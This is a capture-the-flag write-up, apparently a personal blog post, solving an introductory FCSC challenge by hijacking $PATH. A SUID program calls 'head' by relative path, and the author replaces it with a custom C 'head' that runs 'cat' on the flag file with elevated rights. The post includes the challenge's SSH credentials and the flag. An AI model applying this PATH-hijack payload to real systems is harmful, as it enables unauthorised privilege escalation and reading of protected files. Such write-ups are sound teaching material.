This was my first pwn ever made so I was pretty happy when I got the flag.
We could access to the challenge with the following info :
ssh -p7005 challenger@challenges1.france-cybersecurity-challenge.fr
password : challenger
folder : stage 0

SUID binary
By doing ‘ls’, we find the following files :

Executing cat on stage0.c file permits us to get the source code which I commented :
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char const *argv[]) {
setresgid(getegid(), getegid(), getegid()); // Setting owner's permissions
system("head -c5 flag.txt"); // Using head via system (here's the failure)
return 0;
}
Let’s have a deeper look at files and user’s permissions :

We can see that the owner of stage0 binary is also the owner of the flag and the SUID permissions are set, thus allowing us to abuse stage0 to read flag.txt.
Executing the binary
Let’s execute the binary once to see its behavior.

Exploiting stage0
As we can see in the source code the head binary isn’t reached by an absolute path but by a relative one. So if we can modify it to get our own head binary executed by stage0, we should be able to read the flag.
First, let’s add our tmp subfolder at the very beginning of the $PATH variable. Using this, if a head binary is found in it, it will be executed and /bin/head will be ignored.
mkdir /tmp/unguest
export PATH=/tmp/unguest:$PATH
Then let’s write this little piece of code that I’ve documented :
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char *argv[]){
char payload[512]; // To store our payload
char* cat = "cat "; // We want to print the whole file
strcat(payload, cat); // We add the cat command to our payload
strcat(payload, argv[2]); // Then adding the 2nd argument of the original head command executed by stage0. Skips the -c5.
payload[0] = ' '; // For some reasons a sh**ty character was present at the beginning of the string so just removing it here.
printf("[~] Payload : %s", payload); // Print our payload for debug purposes.
system(payload); // Our payload is executed with SUID rights by stage0
return 0;
}
Which gives us at the execution :

Flag : FCSC{e5dc17021365baa6719ea48311873d621a3e00fa6f9c41bd2efb4e6c48bf4090}
Hope this write up was at least a bit helpful ; eager to see other’s WU on this one 🙂 .